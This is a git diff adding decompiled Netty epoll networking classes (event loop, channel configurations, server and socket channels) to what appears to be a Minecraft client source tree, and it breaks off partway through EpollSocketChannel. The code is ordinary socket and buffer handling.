+          if (ready > 0) {
+            processReady(events, ready);
+          }
+          
+          long ioTime = System.nanoTime() - ioStartTime;
+          runAllTasks(ioTime * (100 - ioRatio) / ioRatio);
+        }
+        
+        if (isShuttingDown()) {
+          closeAll();
+          if (confirmShutdown()) {
+            break;
+          }
+        }
+      } catch (Throwable t) {
+        logger.warn("Unexpected exception in the selector loop.", t);
+        
+
+        try
+        {
+          Thread.sleep(1000L);
+        }
+        catch (InterruptedException e) {}
+      }
+    }
+  }
+  
+  private void closeAll()
+  {
+    Native.epollWait(epollFd, events, 0);
+    Collection<AbstractEpollChannel> channels = new ArrayList(ids.size());
+    
+    for (IntObjectMap.Entry<AbstractEpollChannel> entry : ids.entries()) {
+      channels.add(entry.value());
+    }
+    
+    for (AbstractEpollChannel ch : channels) {
+      ch.unsafe().close(ch.unsafe().voidPromise());
+    }
+  }
+  
+  private void processReady(long[] events, int ready) {
+    for (int i = 0; i < ready; i++) {
+      long ev = events[i];
+      
+      int id = (int)(ev >> 32);
+      if (id == 0)
+      {
+        Native.eventFdRead(eventFd);
+      } else {
+        boolean read = (ev & 1L) != 0L;
+        boolean write = (ev & 0x2) != 0L;
+        boolean close = (ev & 0x8) != 0L;
+        
+        AbstractEpollChannel ch = (AbstractEpollChannel)ids.get(id);
+        if (ch != null) {
+          AbstractEpollChannel.AbstractEpollUnsafe unsafe = (AbstractEpollChannel.AbstractEpollUnsafe)ch.unsafe();
+          if ((write) && (ch.isOpen()))
+          {
+            unsafe.epollOutReady();
+          }
+          if ((read) && (ch.isOpen()))
+          {
+            unsafe.epollInReady();
+          }
+          if ((close) && (ch.isOpen())) {
+            unsafe.epollRdHupReady();
+          }
+        }
+      }
+    }
+  }
+  
+  protected void cleanup()
+  {
+    try {
+      Native.close(epollFd);
+    } catch (IOException e) {
+      logger.warn("Failed to close the epoll fd.", e);
+    }
+    try {
+      Native.close(eventFd);
+    } catch (IOException e) {
+      logger.warn("Failed to close the event fd.", e);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollEventLoopGroup.java b/src/minecraft/io/netty/channel/epoll/EpollEventLoopGroup.java
new file mode 100644
index 0000000..eafbe49
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollEventLoopGroup.java
@@ -0,0 +1,73 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.MultithreadEventLoopGroup;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollEventLoopGroup
+  extends MultithreadEventLoopGroup
+{
+  public EpollEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+  public EpollEventLoopGroup(int nThreads)
+  {
+    this(nThreads, null);
+  }
+  
+
+
+  public EpollEventLoopGroup(int nThreads, ThreadFactory threadFactory)
+  {
+    this(nThreads, threadFactory, 128);
+  }
+  
+
+
+
+  public EpollEventLoopGroup(int nThreads, ThreadFactory threadFactory, int maxEventsAtOnce)
+  {
+    super(nThreads, threadFactory, new Object[] { Integer.valueOf(maxEventsAtOnce) });
+  }
+  
+
+
+
+  public void setIoRatio(int ioRatio)
+  {
+    for (EventExecutor e : children()) {
+      ((EpollEventLoop)e).setIoRatio(ioRatio);
+    }
+  }
+  
+  protected EventExecutor newChild(ThreadFactory threadFactory, Object... args) throws Exception
+  {
+    return new EpollEventLoop(this, threadFactory, ((Integer)args[0]).intValue());
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollMode.java b/src/minecraft/io/netty/channel/epoll/EpollMode.java
new file mode 100644
index 0000000..ec655f6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollMode.java
@@ -0,0 +1,8 @@
+package io.netty.channel.epoll;
+
+public enum EpollMode
+{
+  EDGE_TRIGGERED,  LEVEL_TRIGGERED;
+  
+  private EpollMode() {}
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorHandle.java b/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorHandle.java
new file mode 100644
index 0000000..6538126
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorHandle.java
@@ -0,0 +1,61 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.RecvByteBufAllocator.DelegatingHandle;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+
+
+
+
+
+
+
+
+
+
+
+
+class EpollRecvByteAllocatorHandle
+  extends RecvByteBufAllocator.DelegatingHandle
+{
+  private boolean isEdgeTriggered;
+  private final ChannelConfig config;
+  private boolean receivedRdHup;
+  
+  EpollRecvByteAllocatorHandle(RecvByteBufAllocator.Handle handle, ChannelConfig config)
+  {
+    super(handle);
+    this.config = config;
+  }
+  
+  final void receivedRdHup() {
+    receivedRdHup = true;
+  }
+  
+  boolean maybeMoreDataToRead() {
+    return (isEdgeTriggered) && (lastBytesRead() > 0);
+  }
+  
+  final void edgeTriggered(boolean edgeTriggered) {
+    isEdgeTriggered = edgeTriggered;
+  }
+  
+  final boolean isEdgeTriggered() {
+    return isEdgeTriggered;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final boolean continueReading()
+  {
+    return (receivedRdHup) || ((maybeMoreDataToRead()) && (config.isAutoRead())) || (super.continueReading());
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorStreamingHandle.java b/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorStreamingHandle.java
new file mode 100644
index 0000000..90d147e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollRecvByteAllocatorStreamingHandle.java
@@ -0,0 +1,34 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class EpollRecvByteAllocatorStreamingHandle
+  extends EpollRecvByteAllocatorHandle
+{
+  public EpollRecvByteAllocatorStreamingHandle(RecvByteBufAllocator.Handle handle, ChannelConfig config)
+  {
+    super(handle, config);
+  }
+  
+
+
+
+
+  boolean maybeMoreDataToRead()
+  {
+    return (isEdgeTriggered()) && (lastBytesRead() == attemptedBytesRead());
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollServerChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollServerChannelConfig.java
new file mode 100644
index 0000000..ff48525
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollServerChannelConfig.java
@@ -0,0 +1,225 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.WriteBufferWaterMark;
+import io.netty.channel.unix.Socket;
+import io.netty.util.NetUtil;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EpollServerChannelConfig
+  extends EpollChannelConfig
+{
+  protected final AbstractEpollChannel channel;
+  private volatile int backlog = NetUtil.SOMAXCONN;
+  private volatile int pendingFastOpenRequestsThreshold;
+  
+  EpollServerChannelConfig(AbstractEpollChannel channel) {
+    super(channel);
+    this.channel = channel;
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_REUSEADDR, ChannelOption.SO_BACKLOG, EpollChannelOption.TCP_FASTOPEN });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.SO_BACKLOG) {
+      return Integer.valueOf(getBacklog());
+    }
+    if (option == EpollChannelOption.TCP_FASTOPEN) {
+      return Integer.valueOf(getTcpFastopen());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_BACKLOG) {
+      setBacklog(((Integer)value).intValue());
+    } else if (option == EpollChannelOption.TCP_FASTOPEN) {
+      setTcpFastopen(((Integer)value).intValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public boolean isReuseAddress() {
+    try {
+      return Native.isReuseAddress(channel.fd().intValue()) == 1;
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public EpollServerChannelConfig setReuseAddress(boolean reuseAddress) {
+    try {
+      Native.setReuseAddress(channel.fd().intValue(), reuseAddress ? 1 : 0);
+      return this;
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public int getReceiveBufferSize() {
+    try {
+      return channel.fd().getReceiveBufferSize();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public EpollServerChannelConfig setReceiveBufferSize(int receiveBufferSize) {
+    try {
+      channel.fd().setReceiveBufferSize(receiveBufferSize);
+      return this;
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public int getBacklog() {
+    return backlog;
+  }
+  
+  public EpollServerChannelConfig setBacklog(int backlog) {
+    if (backlog < 0) {
+      throw new IllegalArgumentException("backlog: " + backlog);
+    }
+    this.backlog = backlog;
+    return this;
+  }
+  
+
+
+
+
+  public int getTcpFastopen()
+  {
+    return pendingFastOpenRequestsThreshold;
+  }
+  
+
+
+
+
+
+
+
+
+  public EpollServerChannelConfig setTcpFastopen(int pendingFastOpenRequestsThreshold)
+  {
+    if (this.pendingFastOpenRequestsThreshold < 0) {
+      throw new IllegalArgumentException("pendingFastOpenRequestsThreshold: " + pendingFastOpenRequestsThreshold);
+    }
+    this.pendingFastOpenRequestsThreshold = pendingFastOpenRequestsThreshold;
+    return this;
+  }
+  
+  public EpollServerChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollServerChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollServerChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollServerChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setWriteBufferWaterMark(WriteBufferWaterMark writeBufferWaterMark)
+  {
+    super.setWriteBufferWaterMark(writeBufferWaterMark);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+  public EpollServerChannelConfig setEpollMode(EpollMode mode)
+  {
+    super.setEpollMode(mode);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollServerDomainSocketChannel.java b/src/minecraft/io/netty/channel/epoll/EpollServerDomainSocketChannel.java
new file mode 100644
index 0000000..28530b4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollServerDomainSocketChannel.java
@@ -0,0 +1,111 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.Channel;
+import io.netty.channel.unix.DomainSocketAddress;
+import io.netty.channel.unix.FileDescriptor;
+import io.netty.channel.unix.ServerDomainSocketChannel;
+import io.netty.channel.unix.Socket;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.File;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollServerDomainSocketChannel
+  extends AbstractEpollServerChannel
+  implements ServerDomainSocketChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(EpollServerDomainSocketChannel.class);
+  
+
+  private final EpollServerChannelConfig config = new EpollServerChannelConfig(this);
+  private volatile DomainSocketAddress local;
+  
+  public EpollServerDomainSocketChannel() {
+    super(Socket.newSocketDomain(), false);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public EpollServerDomainSocketChannel(FileDescriptor fd)
+  {
+    super(fd);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public EpollServerDomainSocketChannel(Socket fd) {
+    super(fd);
+  }
+  
+  public EpollServerDomainSocketChannel(Socket fd, boolean active) {
+    super(fd, active);
+  }
+  
+  protected Channel newChildChannel(int fd, byte[] addr, int offset, int len) throws Exception
+  {
+    return new EpollDomainSocketChannel(this, new Socket(fd));
+  }
+  
+  protected DomainSocketAddress localAddress0()
+  {
+    return local;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    fd().bind(localAddress);
+    fd().listen(config.getBacklog());
+    local = ((DomainSocketAddress)localAddress);
+  }
+  
+  protected void doClose() throws Exception
+  {
+    try {
+      super.doClose(); } finally { DomainSocketAddress local;
+      File socketFile;
+      boolean success; DomainSocketAddress local = this.local;
+      if (local != null)
+      {
+        File socketFile = new File(local.path());
+        boolean success = socketFile.delete();
+        if ((!success) && (logger.isDebugEnabled())) {
+          logger.debug("Failed to delete a domain socket file: {}", local.path());
+        }
+      }
+    }
+  }
+  
+  public EpollServerChannelConfig config()
+  {
+    return config;
+  }
+  
+  public DomainSocketAddress remoteAddress()
+  {
+    return (DomainSocketAddress)super.remoteAddress();
+  }
+  
+  public DomainSocketAddress localAddress()
+  {
+    return (DomainSocketAddress)super.localAddress();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannel.java b/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannel.java
new file mode 100644
index 0000000..4bac42b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannel.java
@@ -0,0 +1,137 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.socket.ServerSocketChannel;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollServerSocketChannel
+  extends AbstractEpollChannel
+  implements ServerSocketChannel
+{
+  private final EpollServerSocketChannelConfig config;
+  private volatile InetSocketAddress local;
+  
+  public EpollServerSocketChannel()
+  {
+    super(Native.socketStreamFd(), 4);
+    config = new EpollServerSocketChannelConfig(this);
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof EpollEventLoop;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    InetSocketAddress addr = (InetSocketAddress)localAddress;
+    checkResolvable(addr);
+    Native.bind(fd, addr.getAddress(), addr.getPort());
+    local = Native.localAddress(fd);
+    Native.listen(fd, config.getBacklog());
+    active = true;
+  }
+  
+  public EpollServerSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected InetSocketAddress localAddress0()
+  {
+    return local;
+  }
+  
+  protected InetSocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollServerSocketUnsafe();
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  protected Object filterOutboundMessage(Object msg) throws Exception { throw new UnsupportedOperationException(); }
+  
+  final class EpollServerSocketUnsafe extends AbstractEpollChannel.AbstractEpollUnsafe {
+    EpollServerSocketUnsafe() { super(); }
+    
+
+    public void connect(SocketAddress socketAddress, SocketAddress socketAddress2, ChannelPromise channelPromise)
+    {
+      channelPromise.setFailure(new UnsupportedOperationException());
+    }
+    
+    void epollInReady()
+    {
+      assert (eventLoop().inEventLoop());
+      ChannelPipeline pipeline = pipeline();
+      Throwable exception = null;
+      try {
+        try {
+          for (;;) {
+            int socketFd = Native.accept(fd);
+            if (socketFd == -1) {
+              break;
+            }
+            try
+            {
+              readPending = false;
+              pipeline.fireChannelRead(new EpollSocketChannel(EpollServerSocketChannel.this, socketFd));
+            }
+            catch (Throwable t) {
+              pipeline.fireChannelReadComplete();
+              pipeline.fireExceptionCaught(t);
+            }
+          }
+        } catch (Throwable t) {
+          exception = t;
+        }
+        pipeline.fireChannelReadComplete();
+        
+        if (exception != null) {
+          pipeline.fireExceptionCaught(exception);
+
+        }
+        
+
+      }
+      finally
+      {
+
+        if ((!config.isAutoRead()) && (!readPending)) {
+          clearEpollIn0();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannelConfig.java
new file mode 100644
index 0000000..bc8aa36
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollServerSocketChannelConfig.java
@@ -0,0 +1,209 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.ServerSocketChannelConfig;
+import io.netty.util.NetUtil;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollServerSocketChannelConfig
+  extends DefaultChannelConfig
+  implements ServerSocketChannelConfig
+{
+  private final EpollServerSocketChannel channel;
+  private volatile int backlog = NetUtil.SOMAXCONN;
+  
+  EpollServerSocketChannelConfig(EpollServerSocketChannel channel) {
+    super(channel);
+    this.channel = channel;
+    
+
+
+
+    setReuseAddress(true);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_REUSEADDR, ChannelOption.SO_BACKLOG, EpollChannelOption.SO_REUSEPORT });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.SO_BACKLOG) {
+      return Integer.valueOf(getBacklog());
+    }
+    if (option == EpollChannelOption.SO_REUSEPORT) {
+      return Boolean.valueOf(isReusePort());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_BACKLOG) {
+      setBacklog(((Integer)value).intValue());
+    } else if (option == EpollChannelOption.SO_REUSEPORT) {
+      setReusePort(((Boolean)value).booleanValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    return Native.isReuseAddress(channel.fd) == 1;
+  }
+  
+  public EpollServerSocketChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    Native.setReuseAddress(channel.fd, reuseAddress ? 1 : 0);
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    return Native.getReceiveBufferSize(channel.fd);
+  }
+  
+  public EpollServerSocketChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    Native.setReceiveBufferSize(channel.fd, receiveBufferSize);
+    
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setPerformancePreferences(int connectionTime, int latency, int bandwidth)
+  {
+    return this;
+  }
+  
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+  public EpollServerSocketChannelConfig setBacklog(int backlog)
+  {
+    if (backlog < 0) {
+      throw new IllegalArgumentException("backlog: " + backlog);
+    }
+    this.backlog = backlog;
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public EpollServerSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+
+
+  public boolean isReusePort()
+  {
+    return Native.isReusePort(channel.fd) == 1;
+  }
+  
+
+
+
+
+
+
+  public EpollServerSocketChannelConfig setReusePort(boolean reusePort)
+  {
+    Native.setReusePort(channel.fd, reusePort ? 1 : 0);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    channel.clearEpollIn();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollSocketChannel.java b/src/minecraft/io/netty/channel/epoll/EpollSocketChannel.java
new file mode 100644
index 0000000..ada45bd
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollSocketChannel.java
@@ -0,0 +1,772 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ConnectTimeoutException;
+import io.netty.channel.DefaultFileRegion;
+import io.netty.channel.EventLoop;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.socket.ChannelInputShutdownEvent;
+import io.netty.channel.socket.ServerSocketChannel;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.net.ConnectException;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollSocketChannel
+  extends AbstractEpollChannel
+  implements SocketChannel
+{
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(DefaultFileRegion.class) + ')';
+  
+  private final EpollSocketChannelConfig config;
+  
+  private ChannelPromise connectPromise;
+  
+  private ScheduledFuture<?> connectTimeoutFuture;
+  
+  private SocketAddress requestedRemoteAddress;
+  
+  private volatile InetSocketAddress local;
+  
+  private volatile InetSocketAddress remote;
+  
+  private volatile boolean inputShutdown;
+  
+  private volatile boolean outputShutdown;
+  
+  EpollSocketChannel(Channel parent, int fd)
+  {
+    super(parent, fd, 1, true);
+    config = new EpollSocketChannelConfig(this);
+    
+
+    remote = Native.remoteAddress(fd);
+    local = Native.localAddress(fd);
+  }
+  
+  public EpollSocketChannel() {
+    super(Native.socketStreamFd(), 1);
+    config = new EpollSocketChannelConfig(this);
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollSocketUnsafe();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return local;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return remote;
+  }
+  
+  protected void doBind(SocketAddress local) throws Exception
+  {
+    InetSocketAddress localAddress = (InetSocketAddress)local;
+    Native.bind(fd, localAddress.getAddress(), localAddress.getPort());
+    this.local = Native.localAddress(fd);
+  }
+  
+
+
+  private boolean writeBytes(ChannelOutboundBuffer in, ByteBuf buf)
+    throws Exception
+  {
+    int readableBytes = buf.readableBytes();
+    if (readableBytes == 0) {
+      in.remove();
+      return true;
+    }
+    
+    boolean done = false;
+    long writtenBytes = 0L;
+    if (buf.hasMemoryAddress()) {
+      long memoryAddress = buf.memoryAddress();
+      int readerIndex = buf.readerIndex();
+      int writerIndex = buf.writerIndex();
+      for (;;) {
+        int localFlushedAmount = Native.writeAddress(fd, memoryAddress, readerIndex, writerIndex);
+        if (localFlushedAmount > 0) {
+          writtenBytes += localFlushedAmount;
+          if (writtenBytes == readableBytes) {
+            done = true;
+            break;
+          }
+          readerIndex += localFlushedAmount;
+        }
+        else {
+          setEpollOut();
+          break;
+        }
+      }
+      
+      in.removeBytes(writtenBytes);
+      return done; }
+    if (buf.nioBufferCount() == 1) {
+      int readerIndex = buf.readerIndex();
+      ByteBuffer nioBuf = buf.internalNioBuffer(readerIndex, buf.readableBytes());
+      for (;;) {
+        int pos = nioBuf.position();
+        int limit = nioBuf.limit();
+        int localFlushedAmount = Native.write(fd, nioBuf, pos, limit);
+        if (localFlushedAmount > 0) {
+          nioBuf.position(pos + localFlushedAmount);
+          writtenBytes += localFlushedAmount;
+          if (writtenBytes == readableBytes) {
+            done = true;
+            break;
+          }
+        }
+        else {
+          setEpollOut();
+          break;
+        }
+      }
+      
+      in.removeBytes(writtenBytes);
+      return done;
+    }
+    ByteBuffer[] nioBuffers = buf.nioBuffers();
+    return writeBytesMultiple(in, nioBuffers, nioBuffers.length, readableBytes);
+  }
+  
+  private boolean writeBytesMultiple(ChannelOutboundBuffer in, IovArray array)
+    throws IOException
+  {
+    long expectedWrittenBytes = array.size();
+    int cnt = array.count();
+    
+    assert (expectedWrittenBytes != 0L);
+    assert (cnt != 0);
+    
+    boolean done = false;
+    long writtenBytes = 0L;
+    int offset = 0;
+    int end = offset + cnt;
+    for (;;) {
+      long localWrittenBytes = Native.writevAddresses(fd, array.memoryAddress(offset), cnt);
+      if (localWrittenBytes == 0L)
+      {
+        setEpollOut();
+        break;
+      }
+      expectedWrittenBytes -= localWrittenBytes;
+      writtenBytes += localWrittenBytes;
+      
+      if (expectedWrittenBytes == 0L)
+      {
+        done = true;
+        break;
+      }
+      do
+      {
+        long bytes = array.processWritten(offset, localWrittenBytes);
+        if (bytes == -1L) {
+          break;
+        }
+        
+        offset++;
+        cnt--;
+        localWrittenBytes -= bytes;
+      }
+      while ((offset < end) && (localWrittenBytes > 0L));
+    }
+    
+    in.removeBytes(writtenBytes);
+    return done;
+  }
+  
+
+  private boolean writeBytesMultiple(ChannelOutboundBuffer in, ByteBuffer[] nioBuffers, int nioBufferCnt, long expectedWrittenBytes)
+    throws IOException
+  {
+    assert (expectedWrittenBytes != 0L);
+    
+    boolean done = false;
+    long writtenBytes = 0L;
+    int offset = 0;
+    int end = offset + nioBufferCnt;
+    for (;;) {
+      long localWrittenBytes = Native.writev(fd, nioBuffers, offset, nioBufferCnt);
+      if (localWrittenBytes == 0L)
+      {
+        setEpollOut();
+        break;
+      }
+      expectedWrittenBytes -= localWrittenBytes;
+      writtenBytes += localWrittenBytes;
+      
+      if (expectedWrittenBytes == 0L)
+      {
+        done = true;
+        break;
+      }
+      do {
+        ByteBuffer buffer = nioBuffers[offset];
+        int pos = buffer.position();
+        int bytes = buffer.limit() - pos;
+        if (bytes > localWrittenBytes) {
+          buffer.position(pos + (int)localWrittenBytes);
+          
+          break;
+        }
+        offset++;
+        nioBufferCnt--;
+        localWrittenBytes -= bytes;
+      }
+      while ((offset < end) && (localWrittenBytes > 0L));
+    }
+    
+    in.removeBytes(writtenBytes);
+    return done;
+  }
+  
+
+
+
+
+  private boolean writeFileRegion(ChannelOutboundBuffer in, DefaultFileRegion region)
